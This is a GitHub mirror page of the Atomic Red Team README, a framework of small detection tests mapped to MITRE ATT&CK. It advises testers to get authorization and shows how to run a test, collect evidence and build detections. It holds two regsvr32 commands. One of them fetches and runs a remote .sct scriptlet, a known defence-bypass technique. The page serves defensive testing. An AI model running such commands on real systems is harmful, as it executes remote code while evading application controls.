GithubHelp home page GithubHelp logo

drewhjelm / atomic-red-team Goto Github PK

View Code? Open in Web Editor NEW

This project forked from redcanaryco/atomic-red-team

0.0 1.0 0.0 1.66 MB

Small and highly portable detection tests.

License: MIT License

Visual Basic 0.10% PowerShell 98.60% Batchfile 0.67% Shell 0.01% C# 0.61% C++ 0.02%

atomic-red-team's Introduction

Atomic Red Team

Small and highly portable detection tests mapped to the Mitre ATT&CK Framework.

Mitre ATT&CK Matrix

We broke the repository into three working matrices:

Windows MITRE ATT&CK Matrix

Mac MITRE ATT&CK Matrix

Linux MITRE ATT&CK Matrix

How to use Atomic Red Team

Our Atomic Red Team tests are small, highly portable detection tests mapped to the MITRE ATT&CK Framework. Each test is designed to map back to a particular tactic. We hope that this gives defenders a highly actionable way to immediately start testing their defenses against a broad spectrum of attacks.

  • Be sure to get permission and necessary approval before conducting tests. Unauthorized testing is a bad decision, and can potentially be a resume-generating event.

  • Set up a test machine that would be similar to the build in your environment. Be sure you have your collection/EDR solution in place, and that the endpoint is checking in and active.

  • Spend some time developing a test plan or scenario. This can take many forms. An example test plan could be to execute all the Discovery phase items at once in a batch file, or run each phase one by one, validating coverage as you go.

There are three phases to the testing framework:

Phases

Phase 1: Execute Test

This particular test is fairly easy to exercise, since the tool is default on all Windows workstations.

The details of this test case are here.

Two methods are provided to perform the Atomic Test:

Local

For a local simulation use the provided .sct file:

regsvr32.exe /s /u /i:file.sct scrobj.dll

Remote

For a remote simulation you will need a remotely accessible server to grab/download this file, or use gist:

regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/Windows/Payloads/RegSvr32.sct scrobj.dll

Phase 2: Collect Evidence

What does your security solution observe? You may see a file modification in the user’s profile. You may detect network connections made by regsvr32.exe to an external IP. There may be an entry in the proxy logs. You may observe the scrobj.dll loading on Windows. Or, you might not observe any behavior on the endpoint or network. This is why we test! To identify visibility gaps and determine where improvements need to be made.

RC Timeline

Cb example 1

Cb Example 2

Phase 3: Develop Detection

So you executed the test and none of your defenses fired – that’s why we test! Based on your observations and detection capabilities, it is time to use what you have to try to detect this event in your environment.

Unwind Data

Once the detection is built, it is time to validate that the detection is working and that it is appropriately tuned. If you were to write your detection too broadly and “detect” every regsvr32.exe, you are going to be digging out from a mountain of false positives. But if you write it too narrow and it only detects regsvr32.exe with the exact command line “/s /u /i” then all an attacker has to do is slightly modify the command line to evade your detection.

Measure Progress

One of the goals is to try to measure your coverage/capabilities against the ATT&CK Matrix and to identify where you may have gaps. Roberto Rodriguez (@cyb3rWar0g) provided this spreadsheet and complementary blog post showcasing how to determine where you stand within your organization in relation the MITRE ATT&CK Matrix.

HeatMap

Measure

We did not create the MITRE ATT&CK Framework, we just think it is awesome and extensive.

ATT&CK and ATT&CK Matrix are trademarks of The MITRE Corporation

atomic-red-team's People

Contributors

mhaggis avatar jimmyastle avatar forensicitguy avatar brianebeyer avatar danbourke avatar keithmccammon avatar mgreen27 avatar infosecn1nja avatar pwndad avatar 2xyo avatar unbaiat avatar

Watchers

Drew Hjelm avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.